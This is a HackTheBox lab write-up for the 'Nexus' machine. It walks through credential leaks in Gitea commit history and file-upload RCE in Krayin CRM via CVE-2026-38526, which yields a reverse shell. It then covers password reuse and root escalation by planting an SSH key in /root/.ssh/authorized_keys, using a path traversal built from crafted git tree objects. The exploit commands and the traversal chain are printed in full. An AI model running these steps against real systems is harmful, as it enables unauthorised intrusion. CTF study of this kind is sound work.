August 20, 2026

Nexus HackTheBox Writeup

Share
HackTheBox Nexus machine walkthrough

SUMMARY

Nexus is a Linux machine exposing only SSH and HTTP. The main site leaks a username through a careers page, and virtual host fuzzing turns up two more hosts: git.nexus.htb and billing.nexus.htb. The Gitea instance on git.nexus.htb is browsable without authentication and its commit history exposes a set of database credentials, which turn out to also work as the login for a Krayin CRM panel sitting behind billing.nexus.htb.

The panel identifies itself as Krayin 2.2.0, a version affected by CVE-2026-38526, an authenticated arbitrary file upload vulnerability in the TinyMCE upload endpoint that leads directly to remote code execution. A public PoC lands a shell as www-data. From there, reading the application’s .env file reveals a second, different set of database credentials. Querying the krayin database only turns up the single CRM user already known, but the same password is reused for the local jones account, which is confirmed by checking /home and successfully su-ing into it.

Running pspy as jones surfaces a recurring git fsck invocation, and systemctl list-timers points at a gitea-template-sync.timer that runs a root-owned Python script pulling files out of any Gitea repository marked as a template. The script builds its output path with a raw os.path.join() call fed directly from git tree filenames, a textbook path traversal bug. Marking a self-created repository as a template and crafting a git tree object whose blob path walks ../../../../../root/.ssh/authorized_keys gets an SSH public key synced straight into root’s home directory the next time the timer fires, delivering a root shell.


PATH TO FOLLOW

  1. Reconnaissance
  2. Web Enumeration & Username Leak
  3. Virtual Host Fuzzing (billing, git)
  4. git.nexus.htb - Exposed Gitea Repository
  5. Credential Leak in Commit History
  6. billing.nexus.htb - Krayin CRM Login
  7. CVE-2026-38526 - Krayin File Upload RCE
  8. Shell as www-data
  9. .env Credential Discovery & Database Access
  10. Shell as jones (SSH)
  11. pspy & systemctl Timer Enumeration
  12. Gitea Template Sync Script - Path Traversal
  13. Exploiting the Path Traversal via a Malicious Template Repo
  14. Root Shell via authorized_keys Injection

Let’s get to work

alt

1. Reconnaissance

The nmap scan against Nexus shows only two open ports, SSH and HTTP, with nginx fronting a site calling itself the “Nexus Energy Authority”.

# Nmap 7.98 scan initiated Wed Aug 19 07:53:37 2026 as: /usr/lib/nmap/nmap -sCV -p22,80 -oN targeted 10.129.234.54
Nmap scan report for nexus.htb (10.129.234.54)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority \xE2\x80\x94 Powering the Nation's Future
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

With only two ports exposed, the entire foothold path is going to run through port 80.


2. Web Enumeration & Username Leak

Browsing the site turns up a careers page that leaks a working username and a hiring manager’s email address, both under the nexus.htb domain.

alt

Neither POP nor IMAP is exposed externally though, so there’s no obvious way to use that email address yet.


3. Virtual Host Fuzzing (billing, git)

Fuzzing virtual hosts against the main domain turns up two more hostnames worth checking: billing and git.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.nexus.htb' -u http://nexus.htb -t 100

alt


4. git.nexus.htb - Exposed Gitea Repository

Hitting git.nexus.htb drops us into a Gitea instance with a browsable, unauthenticated repository.

alt


5. Credential Leak in Commit History

Reading through the commit log for krayin-docker-setup shows a .env file that was edited in place, and the diff leaks the old database password along with the fact that the app’s real URL is billing.nexus.htb.

alt


6. billing.nexus.htb - Krayin CRM Login

billing.nexus.htb is a login panel.

alt

Since we already have an email address from the careers page and a password pulled out of the commit history, trying that combination gets us straight into the Krayin panel.

alt

The account menu confirms the installed version is 2.2.0.

alt


7. CVE-2026-38526 - Krayin File Upload RCE

Searching for known RCEs against that version turns up CVE-2026-38526, an authenticated arbitrary file upload vulnerability in Krayin CRM’s /admin/tinymce/upload endpoint.

alt

Using the PoC found on GitHub against the login we already have gets remote code execution.

python3 exploit.py -t 'http://billing.nexus.htb' -u 'j.matthew@nexus.htb' -p 'N27xh!!2ucY04' -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

alt


8. Shell as www-data

Catching a reverse shell lands us in the CRM’s storage directory as www-data.

nc -nlvp 9000

alt


9. .env Credential Discovery & Database Access

On the box as www-data, reading the .env file at /var/www/krayin turns up database credentials different from the ones found earlier in git.

alt

mysql -h 127.0.0.1 -u krayin -p'y27xb3ha!!74GbR'

alt

The users table only returns the single CRM account we already used to log in, no other credentials to work with there.

alt


10. Shell as jones (SSH)

Since we now have a working database password, it’s worth checking whether it was reused for a local system account. /home lists git and jones, and the database password does the trick for jones.

alt


11. pspy & systemctl Timer Enumeration

Running pspy as jones shows a recurring git fsck being triggered by UID 111, the git user.

alt

Checking systemctl list-timers confirms there’s a timer tied to Gitea running a template-sync job.

systemctl list-timers

alt

Reading the service unit shows it runs as root and executes a script at /etc/gitea/template-sync.py.

systemctl cat gitea-template-sync.service

alt


12. Gitea Template Sync Script - Path Traversal

Reading template-sync.py in full turns up the vulnerable piece of logic: the target path is built directly from the filenames stored in a git tree object, with no sanitization.

alt

The filepath comes straight from git ls-tree output, which is just the filename stored inside a git tree object. If a repository marked as a template contains a file with a path traversal name (e.g. ../../.ssh/authorized_keys or ../../../etc/cron.d/pwn), os.path.join() will happily resolve it relative to the staging path, letting us write arbitrary files as the root-owned sync process.


13. Exploiting the Path Traversal via a Malicious Template Repo

The plan is to create a repository, mark it as a template, and hand-craft a git tree whose blob path walks all the way up to /root/.ssh/authorized_keys.

alt

First, clone the empty repo locally.

git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/pwn-template.git
cd pwn-template

Generate the SSH key we want dropped into root’s authorized_keys.

ssh-keygen -t ed25519 -f /tmp/gitkey -N ""

Build the blob and each traversal level individually as separate git tree objects, then nest them into each other:

BLOB=$(git hash-object -w /tmp/gitkey.pub)

T_SSH=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
T_ROOT_DIR=$(printf "040000 tree %s\t.ssh\n" "$T_SSH" | git mktree)
T_UP1=$(printf "040000 tree %s\troot\n" "$T_ROOT_DIR" | git mktree)
T_UP2=$(printf "040000 tree %s\t..\n" "$T_UP1" | git mktree)
T_UP3=$(printf "040000 tree %s\t..\n" "$T_UP2" | git mktree)
T_UP4=$(printf "040000 tree %s\t..\n" "$T_UP3" | git mktree)
T_UP5=$(printf "040000 tree %s\t..\n" "$T_UP4" | git mktree)
T_TREE=$(printf "040000 tree %s\t..\n" "$T_UP5" | git mktree)

With the tree assembled, commit it and force-push it to main.

COMMIT=$(git commit-tree "$T_TREE" -m "init")
git update-ref refs/heads/main "$COMMIT"
git push -f origin main

alt


14. Root Shell via authorized_keys Injection

Once the timer fires, the sync log confirms the traversal worked and our key landed at /root/.ssh/authorized_keys.

cat /var/log/template-sync.log

alt

With our private key in hand, authenticating as root over SSH drops us straight into a root shell.

alt

Game over.


References